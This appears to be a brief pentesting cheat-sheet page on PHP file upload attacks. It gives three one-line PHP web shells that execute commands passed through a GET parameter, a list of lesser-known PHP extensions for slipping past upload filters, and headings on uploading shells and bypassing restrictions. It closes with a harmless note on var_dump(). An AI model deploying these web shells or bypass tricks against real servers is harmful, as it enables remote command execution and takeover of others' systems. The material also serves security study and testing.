Skip to content

PHP relevant

File upload

MIME stands for Multipuporse Internet Mail Extensions.

Content-Type: application/x-php

<?=`$_GET[x]`?>


<?system($_GET[0]);

<?php echo shell_exec($_GET['cmd']);?>

Methods of uploading shells to the Web APP

File upload restriction bypass

Unpopular PHP extensions

pht, phpt, phtml, php3,php4,php5,php6, phar

var_dump()

The var_dump() function in PHP is a debugging tool that displays structured information about one or more variables, including its type and value.

var_dump(mixed $value, mixed ...$values): void